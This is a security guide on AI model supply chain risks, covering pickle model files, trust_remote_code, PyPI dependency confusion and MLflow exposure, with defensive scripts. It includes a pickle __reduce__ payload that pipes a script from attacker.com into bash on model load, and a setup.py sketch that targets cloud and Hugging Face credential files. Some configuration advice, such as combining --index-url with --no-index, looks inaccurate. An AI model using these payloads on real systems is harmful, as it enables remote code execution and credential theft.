AI Model Supply Chain Risks

Every AI model your organization downloads, every Python package your ML pipeline installs, and every pre-trained checkpoint your team fine-tunes from is a link in a supply chain you probably haven't mapped. In traditional software, supply chain security is hard enough — the SolarWinds breach, the XZ Utils backdoor, the thousands of typosquatting packages on PyPI taught organizations that their dependencies are attack surface.

In AI, the problem is structurally worse: models are opaque binary artifacts containing billions of parameters, the dominant distribution platform (Hugging Face) has no mandatory security review process, and a single malicious model download can give an attacker persistent execution on every GPU server in your fleet.

The threat is no longer theoretical. In 2023, researchers discovered the "SafeTensors bypass" — a class of attacks where malicious code was hidden inside seemingly safe model files. In 2024, over 100 models on Hugging Face Hub were found containing serialized Python pickle payloads capable of remote code execution on download.

In 2025, a coordinated campaign targeting ML engineering teams distributed backdoored versions of popular fine-tuning frameworks through typosquatted PyPI packages, compromising training pipelines at multiple Fortune 500 companies before detection. The same year, Protect AI's vulnerability research team identified critical path traversal and authentication bypass flaws in MLflow, Seldon, and BentoML — infrastructure that hosts models serving billions of requests daily.

This guide maps every layer of the AI model supply chain — from Hugging Face Hub and PyPI to ONNX model zoos, Docker-based serving infrastructure, and dataset registries — and gives you concrete controls to detect, prevent, and respond to supply chain attacks targeting your AI systems. Whether you're a security engineer trying to get ahead of the threat or an ML engineer who just got asked "is our model pipeline secure?", this is your reference.

Also Read: What Is Supply Chain Attack – Explained

Most organizations think of "the model" as the risk. In practice, a production AI system has six distinct supply chain layers, each with its own attack surface and trust assumptions.

Hugging Face Hub has become the npm of the AI world — with over 900,000 public models and 200,000 datasets as of 2026, it is where the vast majority of AI practitioners go to find and share models. Its open, collaborative model mirrors the early days of open-source software repositories before security controls matured. And like npm in 2016, it is experiencing a wave of malicious uploads that the platform's security controls are struggling to contain.

The single most dangerous practice in the Hugging Face ecosystem is the casual use of trust_remote_code=True. This flag instructs the transformers library to download and execute arbitrary Python files from the model repository during model loading. It was introduced to support custom architectures that can't be expressed in the standard library, but it has become a normalized footgun in tutorials and example code.

# ❌ DANGEROUS — executes arbitrary Python from the model repo
from transformers import AutoModel

model = AutoModel.from_pretrained(
    "some-org/some-model",
    trust_remote_code=True   # downloads & executes modeling_custom.py from the repo
)

# ✅ SAFE — use only for models where you've audited the remote code
# Step 1: Clone the repo and inspect all .py files manually
# Step 2: If safe, pin to a specific commit hash
model = AutoModel.from_pretrained(
    "some-org/some-model",
    revision="abc123def456",     # pin to specific commit, not branch
    trust_remote_code=True       # only after manual audit of that commit
)

# ✅ BEST — use safetensors format with no remote code
model = AutoModel.from_pretrained(
    "some-org/some-model",
    # no trust_remote_code — only works if model uses standard architecture
)
# Prefer models that ship model.safetensors over pytorch_model.bin

The Python Package Index is the primary vector for compromising ML engineering workstations and training pipelines. Attackers target ML engineers specifically because: they routinely install packages with high privileges in cloud environments, their development machines have direct access to training infrastructure and model storage, and the ML Python ecosystem is young enough that many engineers haven't internalized package security hygiene.

# Attacker's dependency confusion setup:
# Internal package: "acme-ml-utils" version 1.2.0 on private registry
# Attacker uploads: "acme-ml-utils" version 9.9.9 to public PyPI

# Victim's pip install resolves to the HIGHER version — from public PyPI
pip install acme-ml-utils   # installs 9.9.9 from PyPI, not 1.2.0 from internal

# ✅ FIX: Use --index-url to force private registry only
pip install acme-ml-utils \
    --index-url https://your-private-registry.com/simple/ \
    --no-index   # or use: --extra-index-url with --trusted-host

# ✅ BETTER: Pin every package with hashes in requirements.txt
# acme-ml-utils==1.2.0 \
#   --hash=sha256:abc123...

# ✅ Always pin exact versions + hashes in production ML environments
# Generate a locked requirements file:
pip-compile requirements.in --generate-hashes -o requirements.txt

# requirements.txt with hashes (attacker's update won't match):
transformers==4.44.2 \
    --hash=sha256:a1b2c3d4e5f6... \
    --hash=sha256:7890abcdef12...

# Install will FAIL if package doesn't match pinned hash
pip install -r requirements.txt   # hash verification automatic with --require-hashes

When a malicious ML package executes, its payload typically attempts one or more of the following — executed silently at install or import time:

# Example: what malicious setup.py code looks like (educational reference)
# This shows the PATTERN, not a working payload

import subprocess, os, platform
from setuptools import setup

def _exfil():
    # 1. Steal cloud credentials (targets AWS, GCP, Azure ML environments)
    creds_paths = [
        "~/.aws/credentials",
        "~/.config/gcloud/application_default_credentials.json",
        "/etc/kubernetes/admin.conf",
        "~/.azure/accessTokens.json"
    ]
    # 2. Steal HuggingFace token (access to private models/datasets)
    hf_token_path = "~/.cache/huggingface/token"
    # 3. Steal wandb/neptune API keys (MLOps platform access)
    wandb_key = os.environ.get("WANDB_API_KEY", "")
    # 4. Enumerate GPU count (value signal for crypto mining deployment)
    gpus = subprocess.run(["nvidia-smi", "--list-gpus"], capture_output=True)

_exfil()   # runs silently during pip install
setup(name="transformers", version="4.44.2", ...)  # looks legitimate

The file format a model is stored in determines how dangerous it is to load. This is one of the most important and least-understood security properties of AI models. Security teams evaluating AI deployments must understand the risk profile of each format their organization uses.

Python's pickle format is the root cause of the most critical AI model file vulnerabilities. Understanding exactly how it works helps security teams explain the risk to engineering leadership and justify moving to safer alternatives.

# How a malicious pickle payload works inside a .pt model file
# (educational demonstration — shows the attack mechanism)

import pickle, os

class MaliciousPayload:
    def __reduce__(self):
        # __reduce__ is called by pickle.loads() during deserialization
        # The tuple returned is (callable, args) — called on load
        return (os.system, ("curl -s https://attacker.com/payload | bash",))

# Attacker creates a fake model file:
import torch
fake_model_data = {"model_state": MaliciousPayload()}
torch.save(fake_model_data, "innocent_looking_model.pt")

# Victim loads it — code executes immediately, silently:
model = torch.load("innocent_looking_model.pt")  # ← RCE happens HERE

# The model may load "successfully" while the payload runs in background
# No error, no warning, no indication anything went wrong

SafeTensors, developed by Hugging Face, was specifically designed to address the pickle RCE problem. It stores only tensor data in a simple binary format — no code, no arbitrary Python objects, no deserialization of anything other than numeric arrays and metadata strings.

# ✅ Migrating from unsafe .bin to safetensors
from safetensors.torch import save_file, load_file
from transformers import AutoModel
import torch

# Load existing model (one-time conversion, done in trusted environment)
model = AutoModel.from_pretrained("./trusted-model-dir")
state_dict = model.state_dict()

# Save as safetensors (safe to distribute)
save_file(state_dict, "model.safetensors")

# Load safetensors — no code execution possible
tensors = load_file("model.safetensors")

# With transformers library — prefer safetensors automatically:
model = AutoModel.from_pretrained(
    "org/model",
    use_safetensors=True   # raises error if safetensors not available
)

# Validate safetensors file integrity before loading:
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt") as f:
    metadata = f.metadata()
    keys = f.keys()
    print(f"Tensors: {len(list(keys))}, Metadata: {metadata}")

Training data is often overlooked in supply chain security assessments, but it represents a uniquely dangerous attack vector: a poisoned dataset can corrupt a model's behavior in ways that are nearly impossible to detect through model inspection alone, and the effects persist for the entire production lifetime of that model.

MLOps platforms — the tools used to track experiments, manage model registries, serve models, and orchestrate training pipelines — have emerged as a critical and under-secured attack surface. Protect AI's 2025 AI Security report found critical vulnerabilities in virtually every major open-source MLOps platform, most of them unauthenticated and remotely exploitable.

MLflow is the most widely deployed open-source experiment tracking platform, and also the most commonly found exposed on the public internet. Shodan searches consistently reveal thousands of MLflow instances reachable without authentication — giving anyone who finds them read/write access to all tracked experiments, registered models, and artifact storage.

# ✅ Secure MLflow deployment checklist

# 1. NEVER expose MLflow tracking server directly — put it behind a proxy
# nginx.conf snippet:
location /mlflow/ {
    auth_basic "MLflow";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://127.0.0.1:5000/;
}

# 2. Bind MLflow to localhost only (never 0.0.0.0)
mlflow server \
    --host 127.0.0.1 \         # NOT 0.0.0.0
    --port 5000 \
    --backend-store-uri postgresql://... \
    --default-artifact-root s3://...

# 3. Enable artifact path validation (patch for CVE-2023-6909)
# Set environment variable to block local file:// URIs
export MLFLOW_ARTIFACT_UPLOAD_DOWNLOAD_TIMEOUT=300
export MLFLOW_ALLOW_FILE_URI_AS_MODEL_VERSION_SOURCE=false

# 4. Use MLflow authentication plugin (mlflow 2.5+)
mlflow server --app-name basic-auth

# 5. Restrict artifact storage access by IAM role, not just API key
# S3 bucket policy: only allow mlflow service role to write
# All model download paths should require user authentication

AI supply chain attacks are not theoretical. The following incidents represent confirmed, publicly documented attacks or disclosures that affected real organizations and users. Understanding the concrete history of these attacks helps security teams build the business case for preventive controls.

A growing ecosystem of purpose-built tools has emerged to address AI supply chain security. These tools cover model file scanning, package auditing, provenance verification, and runtime monitoring. Security teams should evaluate which tools fit their stack and build them into CI/CD pipelines rather than relying on manual checks.

The following code examples represent a comprehensive set of controls for securing the AI model supply chain in a production enterprise environment. These are not abstract recommendations — each addresses a specific attack vector documented in this article.

# model_integrity.py — Run before any model is added to internal registry
import hashlib, json, subprocess
from pathlib import Path
from datetime import datetime, timezone

class ModelIntegrityChecker:
    def __init__(self, manifest_path: str = "model_manifest.json"):
        self.manifest_path = Path(manifest_path)
        self.manifest = self._load_manifest()

    def _load_manifest(self) -> dict:
        if self.manifest_path.exists():
            return json.loads(self.manifest_path.read_text())
        return {"models": {}}

    def compute_hash(self, file_path: str) -> str:
        h = hashlib.sha256()
        with open(file_path, "rb") as f:
            for chunk in iter(lambda: f.read(65536), b""):
                h.update(chunk)
        return h.hexdigest()

    def scan_model(self, file_path: str) -> dict:
        # Run ModelScan against the file
        result = subprocess.run(
            ["modelscan", "-p", file_path, "--json"],
            capture_output=True, text=True
        )
        return {
            "safe": result.returncode == 0,
            "output": json.loads(result.stdout) if result.stdout else {},
            "errors": result.stderr
        }

    def register_model(self, model_id: str, file_path: str,
                       source_url: str, approved_by: str) -> bool:
        # 1. Compute hash
        sha256 = self.compute_hash(file_path)

        # 2. Run security scan — block if unsafe
        scan = self.scan_model(file_path)
        if not scan["safe"]:
            print(f"❌ BLOCKED: {model_id} failed security scan")
            print(json.dumps(scan["output"], indent=2))
            return False

        # 3. Record in manifest with full provenance
        self.manifest["models"][model_id] = {
            "sha256": sha256,
            "source_url": source_url,
            "file_path": str(file_path),
            "registered_at": datetime.now(timezone.utc).isoformat(),
            "approved_by": approved_by,
            "scan_passed": True
        }
        self.manifest_path.write_text(json.dumps(self.manifest, indent=2))
        print(f"✅ Registered: {model_id} (sha256: {sha256[:16]}...)")
        return True

    def verify_model(self, model_id: str, file_path: str) -> bool:
        # Call before loading any registered model in production
        if model_id not in self.manifest["models"]:
            raise ValueError(f"Model {model_id} not in approved manifest")
        expected = self.manifest["models"][model_id]["sha256"]
        actual = self.compute_hash(file_path)
        if expected != actual:
            raise SecurityError(f"Hash mismatch for {model_id}: possible tampering")
        return True

# Usage:
checker = ModelIntegrityChecker()
checker.register_model(
    model_id="llama3-8b-instruct-v1",
    file_path="./models/llama3-8b-instruct.safetensors",
    source_url="https://huggingface.co/meta-llama/Meta-Llama-3-8B-Instruct",
    approved_by="security-team"
)

# secure_hf_download.py — Safely download and validate HF models
from huggingface_hub import snapshot_download, hf_hub_download
from huggingface_hub.utils import LocalEntryNotFoundError
import os, hashlib

APPROVED_ORGS = {"meta-llama", "mistralai", "google", "microsoft", "openai"}
BLOCKED_FILE_PATTERNS = [".pt", ".pth", ".pkl", ".pickle", ".joblib"]
ALLOWED_FILE_PATTERNS = [".safetensors", ".onnx", ".gguf", "config.json", "tokenizer.json"]

def safe_download_model(
    repo_id: str,
    revision: str,             # REQUIRED — never use "main" floating branch
    local_dir: str,
    require_safetensors: bool = True
) -> str:
    org = repo_id.split("/")[0]
    if org not in APPROVED_ORGS:
        raise ValueError(f"Org '{org}' not in approved list. Review required.")

    # Download with pinned revision (commit hash preferred over tag)
    local_path = snapshot_download(
        repo_id=repo_id,
        revision=revision,     # e.g. "a5a4d90" — never "main"
        local_dir=local_dir,
        ignore_patterns=["*.pt", "*.pth", "*.bin"] if require_safetensors else [],
        token=os.environ.get("HF_TOKEN")
    )

    # Scan for any blocked file types that slipped through
    from pathlib import Path
    for f in Path(local_path).rglob("*"):
        if any(str(f).endswith(p) for p in BLOCKED_FILE_PATTERNS):
            raise SecurityError(f"Blocked file type found: {f}. Aborting.")

    return local_path

# ✅ Example secure load after download:
from transformers import AutoModelForCausalLM, AutoTokenizer
model_path = safe_download_model(
    repo_id="meta-llama/Meta-Llama-3-8B-Instruct",
    revision="a5a4d90",     # pinned commit hash
    local_dir="./model_cache"
)
# trust_remote_code=False is the secure default — always explicit:
model = AutoModelForCausalLM.from_pretrained(
    model_path,
    trust_remote_code=False,   # NEVER True for unreviewed models
    use_safetensors=True
)

# requirements.txt — Secure format with hash pinning
# Generate with: pip-compile --generate-hashes requirements.in

torch==2.3.1 \
    --hash=sha256:a821d2b55a8fe3b89cd2d0f00743cfe78f77a7f65f5a4c97b0b0be2e26e4107f \
    --hash=sha256:34a1abcd12345678901234567890abcdef1234567890abcdef1234567890abcd

transformers==4.41.2 \
    --hash=sha256:b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1

# To install with hash verification (fails if any hash doesn't match):
# pip install --require-hashes -r requirements.txt

# CI/CD pipeline step — add this to your GitHub Actions workflow:
# - name: Audit Python dependencies
#   run: |
#     pip install pip-audit
#     pip-audit -r requirements.txt --format json --output audit-report.json
#     python -c "import json,sys; r=json.load(open('audit-report.json')); sys.exit(1 if r['vulnerabilities'] else 0)"

Use this checklist to assess and strengthen your organization's AI supply chain security posture. Each item maps to a specific attack vector described in this article. Treat this as a starting point for a formal AI security policy, not a complete substitute for one.